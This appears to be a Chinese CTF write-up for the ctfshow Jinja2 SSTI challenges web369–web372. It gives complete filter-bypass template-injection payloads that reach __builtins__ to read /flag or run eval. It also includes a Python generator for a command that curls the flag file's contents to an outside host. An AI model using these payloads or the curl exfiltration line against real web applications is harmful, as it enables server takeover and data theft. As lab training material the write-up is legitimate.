当前位置: 首页 > news >正文

ctfshow SSTI注入 web369--web372

web369

这把request过滤了,只能自己拼字符了

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]
举个例子,chr(97) 返回的是字符 'a',因为 97 是小写字母 'a' 的 Unicode 编码值。
""chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)
相当于
""__class__
?name=
{% set po=dict(po=a,p=a)|join%}          //拼接出pop
{% set a=(()|select|string|list)|attr(po)(24)%}         //拼接出_
{% set ini=(a,a,dict(init=a)|join,a,a)|join%}          //拼接出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}       //拼接出__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}		//拼接出__getitem__
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}		//拼接出__builtins__
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}		
{% set chr=x.chr%}		//使用chr类来进行RCE因为等会要ascii转字符
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}	//拼接出/flag
{%print(x.open(file).read())%}

web370

过滤了数字用全角数字代替半角数字

def half2full(half):full = ''for ch in half:if ord(ch) in range(33, 127):ch = chr(ord(ch) + 0xfee0)elif ord(ch) == 32:ch = chr(0x3000)else:passfull += chreturn full
while 1:t = ''s = input("输入想要转换的数字字符串:")for i in s:t += half2full(i)print(t)
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web371

?name=
{% set c=(t|count)%}           #拼接出0
{% set cc=(dict(e=a)|join|count)%}         1 
{% set ccc=(dict(ee=a)|join|count)%}         2
{% set cccc=(dict(eee=a)|join|count)%}        3
{% set ccccc=(dict(eeee=a)|join|count)%}           4
{% set cccccc=(dict(eeeee=a)|join|count)%}            5 
{% set ccccccc=(dict(eeeeee=a)|join|count)%}          6 
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}		7	
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}		8	
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}	9
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}	10
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}	11
{% set coun=(ccc~ccccc)|int%}    24
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
baozongwi    没影响给自己加个标签
{%endif%}

cmd

def aaa(t):t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'return t
s='__import__("os").popen("curl http://xxx:4567?f=`tac /f*`").read()'
def ccchr(s):t=''for i in range(len(s)):if i<len(s)-1:t+='chr('+aaa(str(ord(s[i])))+')%2b'else:t+='chr('+aaa(str(ord(s[i])))+')'return t
print(ccchr(s))

研究了一下发现只有curl可以用,nc\ping\weget都不可以

web372

发现count被禁用 使用length代替

?name={% set c=(t|length)%}{% set cc=(dict(e=a)|join|length)%}{% set ccc=(dict(ee=a)|join|length)%}{% set cccc=(dict(eee=a)|join|length)%}{% set ccccc=(dict(eeee=a)|join|length)%}{% set cccccc=(dict(eeeee=a)|join|length)%}{% set ccccccc=(dict(eeeeee=a)|join|length)%}{% set cccccccc=(dict(eeeeeee=a)|join|length)%}{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}{% set coun=(ccc~ccccc)|int%}{% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(coun)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd=  %}{%if x.eval(cmd)%}{%endif%}

拓展知识,与本题无关
半角字符改全角字符

半角字符:包和bao123全角字符:包和bao123有点看不出来,就看这个bao123
def half2full(half):  full = ''  for ch in half:  if ord(ch) in range(33, 127):  ch = chr(ord(ch) + 0xfee0)  elif ord(ch) == 32:  ch = chr(0x3000)  else:  pass  full += ch  return full  
t=''
s="bao"
for i in s:t+='\''+half2full(i)+'\','
print(t)
http://www.lryc.cn/news/408820.html

相关文章:

  • Llama + Dify,在你的电脑搭建一套AI工作流
  • 洛谷 P9854 [CCC 2008 J1] Body Mass Index
  • Redis面试三道题目
  • redis的使用场景-分布式锁
  • 知识库系统全解析:2024年最佳9款
  • 猫头虎分享:Numpy知识点一文带你详细学习np.random.randn()
  • QT 关于QTableWidget的常规使用
  • PyCharm 常用 的插件
  • 理解 HTTP 请求中 Query 和 Body 的异同
  • 【AI大模型】 企业级向量数据库的选择与实战
  • LangChain开发框架并学会对大型预训练模型进行微调(fine-tuning)
  • VMware安装(有的时候启动就蓝屏建议换VM版本)
  • AV1技术学习:Quantization
  • vllm部署记录
  • HTML前端 盒模型及常见的布局 流式布局 弹性布局 网格布局
  • 网络安全 DVWA通关指南 DVWA Command Injection(命令注入)
  • VUE3学习第三篇:报错记录
  • CentOS怎么关闭自动锁屏?
  • vscode 环境
  • 浏览器自动化测试工具selenium——爬虫操作记录
  • 微信小程序配置访问服务器失败所发现的问题及解决方案
  • javaEE(1)
  • 极简Springboot+Mybatis-Plus+Vue零基础萌新都看得懂的分页查询(富含前后端项目案例)
  • IPython的Bash之舞:%%bash命令全解析
  • ST Stellar-E SR5E1 22KW OBC combo 3KW DC-DC汽车充电器解决方案
  • Postman中的A/B测试实践:优化API性能的科学方法
  • 微信小程序支付流程
  • Istio 学习笔记
  • 测试面试宝典(三十三)—— 接口测试有没有测试出什么问题?
  • YOLOV8模型转TFJS 在Mac下遇到的版本的坑